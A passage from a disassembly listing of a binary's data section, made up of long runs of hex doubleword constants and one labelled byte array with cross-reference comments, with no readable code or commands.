		dd 0FE458417h, 2BE507C7h, 46D1771Eh, 59002142h,	0A2E98478h
		dd 634FAFh, 5FC098DFh, 2DAEA851h, 0CACB560Fh, 6003CCBFh
		dd 0B9B600F8h, 41094A58h, 3503A487h, 2D8820FBh,	1A8A631h
		dd 500E44CDh, 7070B466h, 3B186C2Fh, 0A8213836h,	910E004Dh
		dd 0C82188D4h, 6D0C1F68h, 0E92FE694h, 0EE2A0719h, 20B63ED3h
		dd 949D4B57h, 187B98A9h, 8F841C01h, 0C81710FBh,	0C07A9DDCh
		dd 0F75A01E2h, 2501BD0Dh, 374A3629h, 2FCDAB6h, 0E685015Ch
		dd 0E30F46C8h, 30A0402Fh, 0A6058AAh, 2AF334F0h,	5EAF00FCh
		dd 0E5B45D6Bh, 0A4076AA1h, 88F592E0h, 63E2F400h, 0C4270015h
		dd 138F14B6h, 0C006D79h, 188DE9C5h, 1FE416E5h, 3F4D9138h
		dd 5BDF2A83h, 32F862DDh, 0A4000875h, 0B0B986C3h, 0BA392Eh
		dd 81858F27h, 0E42C8D51h, 0B43C9A00h, 878C3595h, 9940052h
		dd 8E819183h, 0D000AED1h, 0D33D1C15h, 1E080h, 0E87DBBADh
		dd 0F23EFAD7h, 66DD530Eh, 8042EE6Ch, 0DBB92BC7h, 78A6F48Ch
		dd 44580016h, 76B4BE5Dh, 2B1E6D13h, 193AB13Ah, 1229DF10h
		dd 9D44E908h, 0EB22841Fh, 0C63E22E1h, 0E5ABB722h, 0F3441508h
		dd 3122847Ah, 388722C8h, 20E20522h, 3E723B06h, 0FA839A00h
		dd 6C0345B1h, 849D003Fh, 11BD9BDh, 0C500337Ah, 2D0C6A9Ch
		dd 2AFCE4h, 0CC0BBEA6h,	17DEDC25h, 0C842A800h, 0F94014C3h
		dd 11F89794h, 9F365400h, 266135F5h, 57600024h, 0EE1DEA08h
		dd 1000E86Ah, 80E36B4Bh, 35E82h, 0FC776C02h, 4C05D006h
		dd 2744E600h, 3484A3A6h, 49DF0094h, 0B4251BFBh,	0A7D24DDh
		dd 0D5693A07h, 0AEE01712h, 0CCDDA65h, 25CB7166h, 8439DF20h
		dd 5744817Fh, 0C8EC3914h, 0F819DC53h, 505E7AB1h, 34B9FFFh
		dd 0B6D4E283h, 0C0D8DA8Ah, 0CC003742h, 9E8D71D1h, 78FC29AFh
		dd 0A8E01D43h, 0C0055C65h, 0AD710B5Eh, 5C3DD372h, 9DC700D2h
		dd 0C08FFCEFh, 781800B8h, 0F630CA41h, 0C148CC61h, 10E83090h
		dd 225AED11h, 0EA00DE7Ch, 39F485AFh, 0CFC5C2FFh, 0C6886AB0h
		dd 0B08AA207h, 0B64598D0h, 2CF10956h, 35800C89h, 0B905FD86h
		dd 4A2B1100h, 0C04239C8h, 0E5CE1D76h, 7A1B4031h, 8CC6862Ch
		dd 0DB998000h, 70F76A5Bh, 1DED73E1h, 402575EBh,	0C04BD4F3h
		dd 1800B57Dh, 0A46133FEh, 3230E0Ah, 5B0D897Ch, 5CC019E7h
		dd 2D003E8Ah, 822C166Eh, 7F02FB1h, 616DBB71h, 0FA70A3A9h
		dd 79F63180h, 752E2500h, 0E60DD21Ah, 866001D9h,	9BB1A065h
		dd 32B4801Bh, 7D50EA02h, 0AB20EDDEh, 7C9700ACh,	30171BA4h
		dd 0C600E86Bh, 28AAA178h, 1CBB4DCAh, 5EB8EED2h,	0C0483F82h
		dd 73B4B000h, 0ECC2FD07h, 4F985900h, 5A26945Dh,	0EADFC91h
		dd 0DDCCC557h, 93B2ED24h, 0CBA85E78h, 1F1CDAF8h, 0C6416E9Dh
		dd 717BF9F7h, 1B2AD0h, 2DDE28A3h, 5110BFB5h, 0AF08F00h
		dd 6113084Eh, 247100FDh, 0A688B0B8h, 0AD3C7F3Bh, 0DB1F009Fh
		dd 60EACDD2h, 5509009h,	0FF549926h, 698C00C0h, 76504CE6h
		dd 228B970Eh, 3A52C0DAh, 9DA33Dh, 24BC5B1Ah, 0F2F9FE72h
		dd 0E4B58103h, 0B04EFA69h, 50A95289h, 789554h, 0CA0856A4h
		dd 9CC2D5AAh, 1EB8C303h, 0A07A6C2Fh, 486FFDB4h,	5A24B140h
		dd 42E80089h, 91A57A3h,	7DCFDB00h, 759F3EECh, 129EEECCh
		dd 0C1ED76h, 0E96FD104h, 0D500571Dh, 9B857AADh,	3A73308h
		dd 0D7436027h, 3FA02473h
		dd 0B3070FF6h, 7EE8129Dh, 0B4F40880h, 47AE00A5h, 77718DF1h
		dd 0B10607AAh, 397A535Bh, 0DC9A00E8h, 351620EAh, 9C3B55C0h
		dd 2E9381D6h, 0C1C2A26Ah, 39A0DC4h, 65EB0F1Eh, 0B980E470h
		dd 0D83F48CEh, 0A7980126h, 0B686E7DCh, 0B31CC0h, 5E9C96D5h
		dd 830B3492h, 1AD32400h, 8F53C413h, 953E0965h, 83004301h
		dd 9892DCECh, 154801BDh, 0E8EFC48Fh, 7C6B93h, 0EBCD3F6Dh
		dd 0A579B71Dh, 0D6326300h, 4EDB1E2Dh, 474D00ABh, 5CBD1E3h
		dd 5D00B6F2h, 85697FF3h, 5C5811h, 0D5D6A2E2h, 969C0F90h
		dd 0BF07BA00h, 0EDCC3A38h, 529F240Ah, 2DCE02E0h, 0A4606887h
		dd 1E7BF4A7h, 789B482Dh, 9DF8009Ch, 649EC216h, 2D0152F3h
		dd 8ADA7E0Eh, 0D0704480h, 47B900B4h, 0ADC1CAA5h, 0EE2690F5h
		dd 11008035h, 3EB436F1h, 892E25F9h, 3400A356h, 0AB6BFA5Eh
		dd 3A5817E4h, 4A52076Fh, 354B52EFh, 39D10760h, 33A8A7Eh
		dd 0E6480009h, 6BD011A6h, 0FEEC0084h, 0A79D6110h, 9F008318h
		dd 0C2F9157Eh, 9194BBh,	0AF5171E6h, 1D5B8405h, 0EC689200h
		dd 934BB5CFh, 48E7A6Ch,	941ABCF9h, 0D63780FBh, 0BFE9A7C5h
		dd 36DB0058h, 3428FF33h, 8B0600ABh, 67839214h, 9707E388h
		dd 0D327C51Bh, 42A993C0h, 0E7D8006Fh, 3E72BF6Ah, 681EA5E1h
		dd 2180D213h, 0CECBF406h, 4CBE1FE9h, 36B680C2h,	0D38F20BCh
		dd 447D8901h, 0DC852B0Bh, 124EDAFCh, 0B84733h, 116F99E2h
		dd 2D1F6E40h, 2FAEE639h, 33CDB200h, 209E95h, 37BB66CBh
		dd 7DC11B18h, 77009FFAh, 124CC35h, 14C003DEh, 0F4297880h
		dd 0FBC97100h, 0CE602899h, 91A3341Eh, 5B8219C0h, 0EEF9FCC3h
		dd 0F7291D37h, 26A8C171h, 0F49C01C1h, 0CCB010D0h, 0FD554326h
		dd 0E304FC28h, 4AA1AF31h, 202E5488h, 3E03A244h,	0BC2AFA87h
		dd 2F3D86Ah, 8B8804FFh,	80C64FEFh, 0A24A4937h, 0D2CBCD00h
		dd 2F5768F9h, 0FE3B0014h, 0A1283AEh, 5C0EB0B7h,	209E8574h
		dd 9F2FEA1Ah, 0E0476068h, 7B22A710h, 8F2A4C00h,	132EE4BCh
		dd 0CFF0D6h, 9661E14Eh,	8DCBA95Ah, 0FB84D350h, 0A6723F05h
		dd 10C0315Bh, 553DE1h, 5652A02Dh, 6448B959h, 9AD34300h
		dd 3BBFF125h, 0D1F90062h, 497102EDh, 0C87BF4ABh, 888E592Ch
		dd 5B1DAA05h, 31F25180h, 8BF003C3h, 0D9E44C9h, 8F891A8h
		dd 8C513Fh, 0C51918E7h,	1DE10393h, 4023C059h, 309CE3BBh
		dd 0BA00A8ECh, 96247F39h, 0FAE8E6h, 0CD462737h,	8754205Dh
		dd 4AFB3Fh, 0C75A6B5Fh,	0A99C0Dh, 0D5BCDB4Fh, 0C91154B9h
		dd 0C8374100h, 0F8E79981h, 8CE6A8h, 4AFCC765h, 2C870B40h
		dd 0E24EA700h, 4088949h, 7EE79DEh, 904161DAh, 0E420B0D9h
		dd 501F2FF9h, 358196DFh, 0A2691357h, 7CA37AE0h,	3B81F486h
		dd 54801A60h, 5275EABAh, 29125D05h, 0FC003418h,	1F2A0979h
		dd 0CA9A00DDh, 717FDAE1h, 13EA46AAh, 0E7052400h, 0CD6B6639h
		dd 8A29001Dh, 8D596E4Eh, 0EA7BAF2Ah, 568EA404h,	2D847B49h
		dd 71DBE000h, 3B8479F9h, 35800578h, 81D5E35Dh, 6D00BCABh
		dd 342A520Fh, 705CA6Ah,	0E04550E1h, 81BDB77Bh, 60B44175h
		dd 0E6009014h, 690F2E9Bh, 48DF0922h, 0F900D466h, 0FA4BF86Dh
		dd 0E32EE0DEh, 0AF007CC7h, 0FF31EB89h, 0DCE8C0C1h, 0FE6ED6Bh
		dd 504BD507h, 7E5060AAh, 77ABCFAh, 173D75B2h, 0A4DCC0C0h
		dd 18010F2Ah, 0D09554F9h, 6030DEA3h, 1640901Dh,	2101A964h
		dd 244974DCh, 0C00264Ch, 6CFB111h, 1419E559h, 0B85C5568h
		dd 0E645EB0Dh, 0E26C6029h, 0A187E800h, 19326A2Dh, 95430723h
		dd 502F15EFh, 61978F6Ch, 7B332B18h, 0D48240h, 596A8E9Dh
		dd 0E6861625h, 0FE7F7E00h, 0C8170915h, 0CEA7091Bh, 7887F084h
		dd 6BC6E0EEh, 2400D390h, 4FDCF561h, 8FA3F9h, 0E005F154h
		dd 7831BE47h, 252D8300h, 0E362A661h, 378058C5h,	0FDAF4050h
		dd 548F7C60h, 1CE47866h, 0FDF630CFh, 8CD3D20Ah,	542CB4h
		dd 0B4C033EDh, 4B58CC6Fh, 346D00D4h, 0BCE3DCFBh, 83501EE9h
		dd 336C0CF2h, 0D200E830h, 0D85FA221h, 726FE168h, 9EE0F86h
		dd 38E03C44h, 7DCC9148h, 0FCF63E00h, 6D205385h,	0A4EF1E89h
		dd 0B458003h, 0AA836F27h, 0FFC3571Eh, 854F3B9Fh, 20B987C8h
		dd 0A090C790h, 0A2AE00FBh, 67FCCC6h, 5400CA71h,	0E31326E0h
		dd 50F63386h, 5D60C42Dh, 3203686Ah, 9E49B55Bh, 0D9C5EFD8h
		dd 8CBE1A28h, 53D42700h, 0F47B1E91h, 444A0030h,	0D0B5EA13h
		dd 0ED030FFAh, 0FCE7882Ah, 0AAAEF0F3h, 0CE303997h, 904DC8E4h
		dd 0CB9E73DCh, 21B4F800h, 36BCD449h, 3A30C5F2h,	58BB8053h
		db 3Fh
byte_520045	db 87h,	0Bh, 0D3h	; DATA XREF: ___:004380E8o
					; ___:00438100o
		dd 801005D0h, 7AAA6464h, 754A0047h, 6DE4D50Eh, 8400091Bh
		dd 0BC730C76h, 9B85631h, 9311C5E1h, 140F24A1h, 70007051h
		dd 0B23C6F00h, 40E907E5h, 0D4160019h, 865A65BAh, 0F900C8F3h
		dd 23255E0Dh, 9C52C5h, 0BCF473B0h, 353A6350h, 8915F90Bh
		dd 794C0317h, 0D2D0AFB2h, 738DBD7h, 5D613A20h, 0FC8E56Ah
		dd 31602BDCh, 0C755E2A7h, 605CA616h, 729BF804h,	0FE2BCCCCh
		dd 0A3591EB6h, 3F5362h,	0C81E4BFh, 0D00F593h, 528AF05Ah
		dd 0F65955h, 14A1DEC1h,	323B3D2Fh, 53A8B509h, 0B3D06095h
		dd 0DF000A5h, 4E59F5FEh, 0F31E70B0h, 5F000132h,	6B4AD8Ch
		dd 58FB985Ah, 6E006F4Ah, 800824C2h, 1C009741h, 6468F59Dh
		dd 12BB50F4h, 32B2818h,	530AB8DCh, 0DACAB2A0h, 0FA66A100h
		dd 21720D5h, 0B27B6098h, 6589D45Ah, 68EEE301h, 41A54932h
		dd 0B8EF17EDh, 0BBEEADFh, 9CCC37BAh, 6BC9FC01h,	66B602C7h
		dd 54B10A28h, 8C86F6h, 8B9C799Eh, 26580AFDh, 18CC0568h
		dd 0C0BF3FE8h, 5DB08254h, 80592C00h, 697BA4A2h,	6BE1398Bh
		dd 82AEED01h, 20B1335Ch, 1260C404h, 0F5EA95E9h,	0EB8B8CBh
		dd 88A46DE5h, 1169C007h, 0EC81D24Dh, 0C60A61CEh, 0A8EFB768h
		dd 405B0700h, 2F387BAh,	9ED6E309h, 50605E8Bh, 7200A16Ch
		dd 0A02456A4h, 22E21E9h, 870427A6h, 0E840E5DDh,	0DE005E22h
		dd 0B0A973BDh, 18C99AB1h, 40356C4Bh, 7B02069Dh,	37A65811h
		dd 67106063h, 0BE2F0ECBh, 1BA16823h, 306698D1h,	0B50206F0h
		dd 81ABD3B0h, 6CA08044h, 1277364Ah, 827E92h, 4B1188B4h
		dd 14001E1Dh, 0B640F3FAh, 907B477Fh, 1CE500A8h,	2A0C9A56h
		dd 1098A225h, 13F75B00h, 0EDD5D8AAh, 8A1D281Bh,	3153009Ch
		dd 0D46D7696h, 0BB0E49C0h, 40752563h, 6C2283F5h, 0F4B95292h
		dd 141CF003h, 9800730Fh, 0AD71F47Fh, 7B087A8h, 0B1B86D7Dh
		dd 982810DCh, 0AB00D214h, 473D7E27h, 296A99h, 928C57C6h
		dd 0E1B3E230h, 87482A60h, 4B051Dh, 407F33D3h, 0F0AE923h
		dd 5129971Eh, 9B206BC0h, 0B9260Bh, 249D43EEh, 86DC2381h
		dd 5ED63D03h, 0D870ADFEh, 0E4E576AAh, 15910069h, 0CBC12541h
		dd 201C0F85h, 3AFCBFE3h, 0BEBBBE29h, 6A02806Dh,	0CE049DE7h
		dd 9ACF001Eh, 3585EBF2h, 8900BC4Dh, 59E46776h, 0B85FAAh
		dd 0B74CF4Ah, 0F2C0C1DCh, 440AC900h, 0D6F693F1h, 72730015h
		dd 9D58A754h, 0C07770DDh, 0F2FE7C78h, 0D868D307h, 630FE23Ch
		dd 0D058720Ah, 398C01E6h, 0C200616Ch, 8805F628h, 0AC74B251h
		dd 7509A200h, 76648FEFh, 9E7B002Eh, 0DC74C0FFh,	0D00087B7h
		dd 0FEED6F54h, 58441792h, 0A600D418h, 0A46EFA78h, 4F4CF094h
		dd 56D5001Fh, 7BCD80F5h, 6C6007Ah, 91AE44A2h, 2C676D24h
		dd 0B108F11h, 18677493h, 19C02D75h, 2500DB14h, 241DF2BCh
		dd 281B488Eh, 0FE7D6DAh, 0BDF76FA8h, 3EAE100h, 0DC00D10Bh
		dd 8C1C25F6h, 3562C7Bh,	0A39C21B7h, 429823C7h, 5F0EA4EEh
		dd 0BB2057D0h, 0CED2F010h, 0ADC500D6h, 6B3A69Ah, 5200B96Eh
		dd 8095F994h, 3073AFDAh, 383090CAh, 0E948AB61h,	5ACF0010h
		dd 0F2D5440Eh, 3A6EEC3h, 7601911Fh, 0A7F0F78Bh,	8A3D2D8Fh
		dd 0AEBD0FCBh, 45E3C79Dh, 0C0BFFB43h, 48C40B77h, 31E20A2h
		dd 0AAA8FDh, 0EB4FD0B6h, 5D25A7FCh, 6B464B06h, 928A88Dh
		dd 0DD51BC2Dh, 0C610488Ch, 13184D00h, 1FB8BEE7h, 15BA006Eh
		dd 7DC00D90h, 560057A2h, 0A312EB40h, 0A0F37Fh, 0F7D1E147h
		dd 0DD816FA5h, 580C4F13h, 0CA1E4404h, 36CB3080h, 1C142021h
		dd 66002679h, 0E879022Fh, 1EE26DB5h, 0EFC4C2h, 1A62CFC6h
		dd 5300083Ah, 3AE06F2h,	61A6B6h, 0E6313E70h, 11B8B0FDh
		dd 825A7401h, 9038FF16h, 0D1C03F00h, 882E7301h,	534557ACh
		dd 55D6CCh, 774ECFECh, 4285549Dh, 1B68601Fh, 49018BC0h
		dd 0C178FBh, 0AC9506F5h, 0A6F27EBBh, 0EC8E8207h, 0E42A834Fh
		dd 0DB118D00h, 759DD559h, 19660F0Dh, 3820A2A1h,	0F07619Ch
		dd 0FCB2351Dh, 0A409A380h, 50E64Ch, 4F249903h, 0F7040B7Bh
		dd 0D01B6EAh, 5B449DD3h, 0AADC4CCFh, 0CCCA1750h, 87580078h
		dd 0D264FC90h, 0D0765B1Eh, 0B1BA94C7h, 463D8060h, 5733018Dh
		dd 0CDE1CB2Bh, 8CECC8C8h, 0DA0E2DEEh, 890BB563h, 972C01B2h
		dd 1180E4C4h, 33851D36h, 0EE002CCEh, 847735CBh,	39D5ABB1h
		dd 0D0006FD4h, 0CE606AE3h, 0EA004F4Ch, 8005A0D8h, 0F5F438h
		dd 72941A16h, 0CB1859B4h, 8476333Fh, 0F7C46B1Eh, 0D7D09490h
		dd 0F85724E0h, 0B5DC0009h, 0E45C646Fh, 1CDBDD48h, 16C0D91Fh
		dd 0B9EEB4E1h, 5ECB0C69h, 17118510h, 0B1D021C0h, 26A17109h
		dd 4C9032h, 0C1B8203Bh,	18780C56h, 217370C0h, 71D7ECAh
		dd 861FE297h, 1B3EA30Bh, 0C371210Dh, 15E098CAh,	40BD30D0h
		dd 0EF798C49h, 9EE859CFh, 89834A01h, 20800A41h,	0A821A277h
		dd 72E2422Fh, 0F3CAED07h, 503C410Bh, 0D8869D94h, 0A3F0F9C9h
		dd 3CFEB800h, 98882438h, 5DA20C0Dh, 995009ADh, 70833E0Ah
		dd 610048EAh, 0B22E1B63h, 21530041h, 96C8EDFEh,	54002DB7h
		dd 0FC4D5670h, 7238BC0Fh, 85AD00F3h, 431CA89Ch,	78094919h
		dd 800DEEDEh, 0CAC67018h, 3BD81FEFh, 80FF1DE1h,	8BB5080Fh
		dd 607D062h, 0A694F157h, 50465E90h, 96CA005Dh, 36C09727h
		dd 0D50C1EF8h, 0D1ACE40Fh, 0AAEE0Dh, 0F0FD6BF7h, 0EFD61122h
		dd 6A2D0B0Fh, 24E30166h, 0B0C85EF6h, 0B80654C7h, 6F321F7Ch
		dd 807E5EE5h, 8D495EDBh, 947AA8C0h, 3C34EF03h, 0F1FD89h
		dd 0DCE20831h, 0CC1958A2h, 2FB9B400h, 0CAF5FB2h, 0E12500ECh
		dd 691D91C6h, 8F076246h, 0E3CE2720h, 0B7045B11h, 2B212080h
		dd 0A88326C7h, 0B84AA700h, 4354EDF9h, 85D03E8Dh, 49FCF807h
		dd 7C90C3FAh, 0FC6B41E1h, 0BA009FB3h, 649B1A3Ch, 166D18h
		dd 0B703C377h, 0C5E93009h, 0E02C5B00h, 66FACEF5h, 0A8580050h
		dd 0EA018899h, 8A00A02Bh, 0EB809B62h, 14B0B42h,	9DCC23ADh
		dd 80C74AECh, 0E7B38E11h, 0CF22A6h, 4C4F8DC8h, 56321CC4h
		dd 0ABCD3700h, 54C2D3B3h, 306EB8C5h, 0F0184DD0h, 40719834h
		dd 9CFC770Fh, 97F8E0D8h, 0F86CC4Eh, 908D75F5h, 0D5163060h
		dd 58C05D2Dh, 0BFEB14C0h, 9AA500BCh, 0AACAE4E8h, 9D7AEFD3h
		dd 733EE998h, 4CA90387h, 0B003182Fh, 0C8C6DE7h,	0D4F52C08h
		dd 0A6601408h, 0E8C83520h, 5B6B0F26h, 92C0CEE1h, 13CA049Fh
		dd 6136381Eh, 0EDBD0AC0h, 30D94337h, 7838DF50h,	520E4906h
		dd 0A1A07DD4h, 334F25C9h, 21BED3h, 425251F8h, 0CAF01FD9h
		dd 7A8F5700h, 34FE070Ah, 1D80C076h, 2C1B3978h, 4F1080E9h
		dd 3F307BE0h, 28F40CD4h, 1708AD99h, 0A3D221C0h,	793B069Fh
		dd 540D1D37h, 9AC0406Dh, 0BC5FD322h, 42122703h,	1FF3B624h
		dd 0CCCDA689h, 0EF20EED9h, 2CFA8500h, 0ADF5F3A9h, 649E3152h
		dd 0CA122518h, 0A55D8109h, 0C728B0h, 0B3E12C40h, 0CE77E2Eh
		dd 0E9C39219h, 2180FF08h, 0FAB3D483h, 643029D7h, 927379A2h
		dd 0F004670Eh, 7FFD8016h, 0CE78ED5Ch, 0B4A9A703h, 9815181Fh
		dd 1D26304Eh, 2670F6E9h, 8D2500EAh, 384CC202h, 3F47CC00h
		dd 60E1B9BFh, 4B8F071Dh, 80216480h, 0C3DAD28Ch,	0F8BBD500h
		dd 0DEA659F5h, 327507BCh, 403FEC65h, 3D7B145Fh,	0FEC39300h
		dd 0F3986FD3h, 43B5002Eh, 0B902F5D6h, 4C00675Ch, 34C40363h
		dd 7F170916h, 6B4E00ADh, 4020C924h, 700063D5h, 0A0AAE555h
		dd 5830443Bh, 5B00D0ABh
		dd 4E6A3E94h, 7D0009F2h, 73EB27EAh, 9FC93DC7h, 0D44005Dh
		dd 723F9CAh, 96C40E55h,	1BA18080h, 0A5E0D6C5h, 0DB461403h
		dd 0B7C7260Ch, 0AB8AB450h, 0F1E30072h, 50674491h, 0B3006B54h
		dd 0B28DB55Ch, 4AABD7h,	0F0364E9Fh, 31D4FE38h, 3B67403h
		dd 0E3F16EC9h, 0B7DAC014h, 9BE461h, 0CCC548E3h,	389A4295h
		dd 0DB59121Fh, 0AAE70D00h, 1E7670A7h, 0C11CE53Bh, 0A858A23h
		dd 5E2660F6h, 99C79C00h, 4656E31Bh, 8B640065h, 0A6547D59h
		dd 483BCC5Ch, 63098087h, 27A512E1h, 0D9B2008Fh,	5C506A94h
		dd 0CE00AA62h, 0A1DA5557h, 407753h, 89DB8790h, 52D26B1h
		dd 5E00657Fh, 2C3BA1EAh, 0DFD6C1h, 0C0355068h, 0B4494577h
		dd 6B895F00h, 69F5C755h, 482F192Ah, 8F129DDh, 0DB5C44E3h
		dd 0CB812284h, 10F19D22h, 118498A4h, 1C1108EFh,	0BD5911BBh
		dd 21897111h, 0C8A208A3h, 59844590h, 4215E74h, 3E45440h
		dd 4074AEC1h, 440B14A1h, 2244BF23h, 0F9B044ADh,	5F8091E8h
		dd 46D08824h, 88A9E140h, 1D000CF1h, 732BC652h, 20F03Dh
		dd 2D40541Fh, 0E3FC9B5Ch, 728D0300h, 5A3C11CAh,	0D4AF0035h
		dd 3D391A4Dh, 517EAC79h, 3F0073EEh, 0C40DD791h,	31FC4Ah
		dd 12FAF02h, 0BB3DB92Eh, 0BF529A00h, 0FCD04CEBh, 72F307E6h
		dd 43E91661h, 0EAB1FF86h, 8813C80Bh, 1CFB800h, 0BF3D742Bh
		dd 0B06F0F7Bh, 0DC8042F3h, 0F563996Dh, 34086000h, 54DDDB0Ah
		dd 973C0088h, 0AA74B75Bh, 27001306h, 98F13EFDh,	5845CA46h
		dd 0B6002C44h, 263947BDh, 0F607D9F3h, 8699BFB7h, 8F4E80CEh
		dd 30A93F38h, 4483BA7h,	2D0091C5h, 0A07B8D06h, 0F22DAEBh
		dd 87BDDBE2h, 17244B40h, 0A400EA86h, 320D930Ch,	0A1076Dh
		dd 0B8029DAh, 8BE13FE5h, 0FB7CFF03h, 0E8F2DC2Eh, 0C65EC9h
		dd 161B046Dh, 78F5487Fh, 79FC34FAh, 233CCB00h, 56EC1E6Fh
		dd 57744Fh, 0E1278F0Dh,	0A3AAB59h, 0C823E217h, 0C242A000h
		dd 948944h, 0EED10D8Eh,	6E08C9F4h, 6570B900h, 0CE31D25Eh
		dd 82D800A7h, 36688C39h, 8D001BD7h, 0B3743C66h,	1F176157h
		dd 0E79547E5h, 15159D7Eh, 0AFB100BCh, 62AAF490h, 0B742171Ch
		dd 0C87F0022h, 3FB54489h, 70063100h, 7A18748Ch,	0CC953852h
		dd 981C7703h, 0F2B8666Eh, 1403D7ECh, 0D809EBF1h, 0B34A996Dh
		dd 1C9FBEC8h, 315613h, 787303A8h, 0D41DB494h, 0D00EAFDAh
		dd 0FF85212Ah, 47E8B5C4h, 0BBE900B1h, 0AED4C613h, 0E050C10Fh
		dd 94F83DB0h, 93EFCB00h, 626012B7h, 64F6002Eh, 0D81FB6Eh
		dd 0AD7176F3h, 0CA1BD000h, 0E6886A3Bh, 67692483h, 310E0134h
		dd 0F2192439h, 169E0440h, 0E223A40h, 0BCF3971Eh, 2B0B9BA2h
		dd 0C2006C44h, 0A7613CB3h, 5C70B7h, 0CF772F86h,	0FC653F2Bh
		dd 8018FF39h, 0F835F279h, 0F573A7h, 4BD88804h, 0C9F0BDD2h
		dd 0FEB8137Ah, 99A93C1Bh, 0CB39B8A0h, 0C2850292h, 6197A7CDh
		dd 3A788160h, 9EAE440Fh, 0B573C06Fh, 5ACC09h, 794C624h
		dd 8F1E9D78h, 0E95B6700h, 45FDE7E6h, 41FF5890h,	78BF823Eh
		dd 1B0A6881h, 23698DEDh, 86FBE800h, 9E72EE03h, 0EAD0B35Ch
		dd 0B8D8A0F6h, 0FC7491h, 72B90A48h, 69F3D6ABh, 0FB537100h
		dd 0F6F5D3D5h, 18920078h, 42115F0Ah, 9000F8B4h,	0A0331CA8h
		dd 7FE1747Ah, 0CF0B1D31h, 0A3828054h, 1E8F35F0h, 710C9C0Fh
		dd 0FEBC014h, 8C4C57h, 66C7A06Dh, 8243B89Fh, 0F57DFB73h
		dd 0AEEA4600h, 28808FE0h, 4BBD0070h, 9206DC38h,	0A0006CA2h
		dd 0EEB1A8E8h, 14F1E6Ah, 40FC63D9h, 60528134h, 0AF0120EAh
		dd 8E042E57h, 67DC99E7h, 59210006h, 0FF7051CCh,	0C900825Bh
		dd 0C59D53CDh, 33B39FEh, 0D92B526Fh, 16F36A67h,	5D3336F0h
		dd 93647E01h, 789FB2F6h, 8577F0h, 0B8766145h, 80B4C596h
		dd 4E8353Ch, 3A25CBB5h,	399A2FC0h, 3F727D9Ch, 71803897h
		dd 0DAE610A5h, 0A90160BEh, 0C08B3629h, 0D283BD16h, 0AD68DF2h
		dd 4EB3087h, 617408AFh,	13C26900h, 6F125340h, 0A3EF0066h
		dd 0A8BDC98Bh, 0D800F925h, 41A92F03h, 0FCDCC3h,	24E5EC8Ch
		dd 556018EAh, 0B3F69690h, 0C4CC59h, 6E365B59h, 269C92h
		dd 526CA1A9h, 0BF1E9B51h, 0A49E2100h, 43C049CFh, 327F37h
		dd 3C9276F0h, 0ECAC85C3h, 0BB001090h, 0F36FA7E8h, 70BF8751h
		dd 112C0B68h, 0D4805299h, 27FD6CC4h, 0EFEDF203h, 90D8EA35h
		dd 0C7AC04h, 66F68B56h,	7C8F735Fh, 1F53C43Fh, 8C401F3Ah
		dd 154BD605h, 1A6E62Ah,	23FA3441h, 0C8D4535Ah, 3100FD51h
		dd 3AEFB885h, 767A6E22h, 13D30316h, 970D4187h, 9AA700B7h
		dd 0C8EF513Ch, 7F00BEC5h, 0F2D95A75h, 62A365h, 0CD821B0h
		dd 3787963Bh, 5DA9C000h, 3E83E57Dh, 0EFC2007Eh,	3FB61AAAh
		dd 0F90E45FFh, 8067E777h, 709925CFh, 487904EEh,	0C3F70C6Dh
		dd 7800D52Ch, 35CF3D84h, 1BBAFCBh, 2D94B747h, 0E0A85559h
		dd 0C51C4EF9h, 81812489h, 9C01B908h, 0A5E920h, 78BA9D0Fh
		dd 29BE2804h, 1716FA00h, 73FD677Ch, 48DC00F9h, 0D524882Eh
		dd 0BB04894Fh, 9662C1Bh, 0F6475C80h, 0E39B2456h, 0B0480074h
		dd 759DB5D2h, 86407200h, 9E5B3235h, 5C5009Fh, 50A1E6C2h
		dd 483EF97Ch, 0F5E5BC1Ch, 0BBBF7A00h, 0D17B9A44h, 5C9091h
		dd 0A0716B05h, 555FBCB1h, 6787F491h, 0F660BFB2h, 7B11CCh
		dd 3CA786FAh, 141B0321h, 0EDCDAB1Eh, 0EF0F5BEEh, 0B727A391h
		dd 0E6C0D5D4h, 3B48DEh,	354E62B3h, 0B664E76Dh, 0FE8FB400h
		dd 9102A1C4h, 90F5005Ch, 1CDB7D82h, 2F00DD34h, 0E0BE4C05h
		dd 0CB2EAF2h, 39043707h, 5000A304h, 0E61F1766h,	0DC94D7D2h
		dd 2F5B4041h, 357B1D54h, 0E1C86400h, 7F85C9D5h,	0E95D047Ch
		dd 90E35E92h, 2C1FB930h, 8D123101h, 4E0FE5BCh, 776832ECh
		dd 0A467009Eh, 834DA6AFh, 0AC7F0C5Dh, 45B2F01Fh, 295F8B40h
		dd 0A7F346h, 51B58119h,	0E5B0DC65h, 4490AB00h, 33C38A38h
		dd 7ABF00D2h, 713B1C9Fh, 24000CDBh, 0ADF94E53h,	18CD04Fh
		dd 0BF72B42Bh, 404AD23Dh, 4B667DE7h, 6DA4DB0Fh,	6F06E085h
		dd 3FAD63h, 19A82630h, 0CDE825BEh, 0B85C4700h, 8AC88F9Dh
		dd 0C5E8EDh, 0BD300B29h, 0FE17CC2Dh, 25855A03h,	8841B9B4h
		dd 0E01ABBh, 0AE403F44h, 3BDD12D0h, 0F8945E00h,	0B82FE64h
		dd 9E56004Eh, 0C903D42Dh, 0AC3DEBE7h, 2B7D00C1h, 0E3444F9h
		dd 13E400FBh, 1A80DF1Eh, 0D30EA7EDh, 808F14F2h,	0F95A0648h
		dd 1F2200DEh, 11EB5774h, 0C8FAB58Bh, 9800EDF0h,	0F989A33Ch
		dd 1D535FD3h, 80B3201Ch, 933D9980h, 9B007623h, 8198EB8Bh
		dd 0A8421Dh, 0EF752107h, 0BCE22503h, 0E5583B00h, 576A90BFh
		dd 0B4880064h, 0D35E60Bh, 0B700D33Fh, 0D1B1480Fh, 74AEE31h
		dd 1B38F16Ch, 1629A09Ch, 3FEE9BF9h, 0E061700Eh,	0DCF2201Dh
		dd 0E41C9Eh, 0B6402C5Ch, 0CBFC90A2h, 99B81600h,	89082A47h
		dd 4C980750h, 0B04E1D1Bh, 0B8AC6D7h, 53BE4004h,	3FC0666Ch
		dd 219809h, 5C697111h, 0B87EFEB0h, 721E5E09h, 42608162h
		dd 90D3DBA4h, 3BA6D84h,	0BB321B91h, 4DB8E952h, 0B9098F4Fh
		dd 5DD30759h, 0C76908h,	567F9076h, 0CE006F4Ch, 78359AAEh
		dd 74614D4Bh, 1A70001Dh, 49FB2E4Fh, 6B00DCD1h, 0C91B483Fh
		dd 38A67F6Fh, 53A47E19h, 0B5B20300h, 68E858C3h,	9902630Eh
